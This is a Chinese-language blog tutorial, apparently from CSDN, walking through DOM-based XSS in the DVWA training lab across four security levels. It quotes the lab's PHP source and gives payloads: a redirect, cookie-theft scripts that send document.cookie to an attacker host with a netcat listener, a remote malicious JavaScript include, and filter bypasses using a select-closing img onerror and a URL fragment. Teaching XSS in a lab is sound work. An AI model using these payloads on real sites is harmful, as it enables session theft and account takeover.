DVWA-XSS(DOM)G

本文详细探讨了XSS攻击的各种应用场景,包括利用XSS获取cookie、重定向、钓鱼网站和DDOS等。重点讲解了DOM型XSS,分析了Low、Medium、High和Impossible四个等级的漏洞特点及利用方式,阐述了如何通过修改DOM节点进行攻击,并给出了实例展示。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

XSS的应用场景

  1. 利用XSS获得cookie
  2. 重定向
  3. 钓鱼网站
  4. DDOS

DOM型XSS

文本对象模式xss,通过修改页面的DOM节点形成的XSS,可存储型,可反射型,只取决于输出地点。

一、Low等级

1、漏洞分析

<?php

# No protections, anything goes

?> 
  • 没任何保护

2.漏洞利用

2.1重定向
<script>window.location='http://www.163.com'</script>

2.2获取cookie

  • 直接弹出来
    <script>alert(document.cookie)</script>
  • 弹到A主机上

在A主机上开启监听
nc -nvlp 80
在输入点,输入以下内容
<script>new Image().src="htttp://../../..?output="+document.cookie;</script>

  • 通过加载远程js脚本,将cookie弹到Aa主机上

在远程服务器上制作一个js脚本

var img=new Image();
img src='http://../../../:8888/cookie.php?cookie='+document.cookie;

在远程服务器上开启web服务
service apache2 start
开启监听
nc -nlvp 8888
在输入点,输入以下内容

<script src='http://../../getcookie.js'></script>

二、Medium等级

1、漏洞分析

<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
    $default = $_GET['default'];
    
    # Do not allow script tags
    if (stripos ($default, "<script") !== false) {
        header ("location: ?default=English");
        exit;
    }
}

?> 
  • 简单过滤,检测到<script,即置为English

2、使用其他标签绕过
</select><img src='x' onerror='document.cookie'>

因为在<select>中不能添加img,所以要先闭合</select>

其他操作,同Low等级

三、High等级

1、漏洞分析

<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {

    # White list the allowable languages
    switch ($_GET['default']) {
        case "French":
        case "English":
        case "German":
        case "Spanish":
            # ok
            break;
        default:
            header ("location: ?default=English");
            exit;
    }
}

?> 
  • 白名单过滤,只有四种可以选择,其他输入,都会置为English

2、利用#特性绕过
default=English #<script>alert(document.cookie)</script>

在url中#之后的值不会传给服务器

四、Impossible等级

1、安全性分析

<?php

# Don't need to do anything, protction handled on the client side

?> 
  • 保护的代码在客户端里面
if (document.location.href.indexOf("default=") >= 0) {
						var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
						document.write("<option value='" + lang + "'>" + (lang) + "</option>");
						document.write("<option value='' disabled='disabled'>----</option>");
					}
					    
					document.write("<option value='English'>English</option>");
					document.write("<option value='French'>French</option>");
					document.write("<option value='Spanish'>Spanish</option>");
					document.write("<option value='German'>German</option>");
  • 对输入的参数并没有进行URL解码
  • 输入的任何参数,都是经过URL编码,然后直接赋值给option标签
  • 所以不存在XSS漏洞

上一篇:弱会话ID
下一篇:XSS(反射型和存储型)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值